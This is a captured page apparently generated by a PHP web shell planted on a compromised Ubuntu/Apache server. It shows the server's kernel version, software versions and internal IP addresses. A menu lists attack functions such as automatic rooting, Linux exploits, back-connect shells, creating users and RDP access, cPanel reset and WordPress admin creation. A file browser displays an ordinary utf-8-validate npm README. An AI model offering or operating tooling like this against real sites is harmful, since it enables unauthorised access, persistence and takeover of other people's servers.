Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
utf-8-validate /
[ HOME SHELL ]
Name
Size
Permission
Action
deps
[ DIR ]
drwxrwxr-x
prebuilds
[ DIR ]
drwxrwxr-x
src
[ DIR ]
drwxrwxr-x
LICENSE
2.46
KB
-rw-rw-r--
README.md
1.16
KB
-rw-rw-r--
binding.gyp
525
B
-rw-rw-r--
fallback.js
1.59
KB
-rw-rw-r--
index.js
136
B
-rw-rw-r--
package.json
1.26
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# utf-8-validate [](https://www.npmjs.com/package/utf-8-validate) [](https://github.com/websockets/utf-8-validate/actions?query=workflow%3ACI+branch%3Amaster) Check if a buffer contains valid UTF-8 encoded text. ## Installation ``` npm install utf-8-validate --save-optional ``` The `--save-optional` flag tells npm to save the package in your package.json under the [`optionalDependencies`](https://docs.npmjs.com/files/package.json#optionaldependencies) key. ## API The module exports a single function which takes one argument. ### `isValidUTF8(buffer)` Checks whether a buffer contains valid UTF-8. #### Arguments - `buffer` - The buffer to check. #### Return value `true` if the buffer contains only correct UTF-8, else `false`. #### Example ```js 'use strict'; const isValidUTF8 = require('utf-8-validate'); const buf = Buffer.from([0xf0, 0x90, 0x80, 0x80]); console.log(isValidUTF8(buf)); // => true ``` ## License [MIT](LICENSE)
Close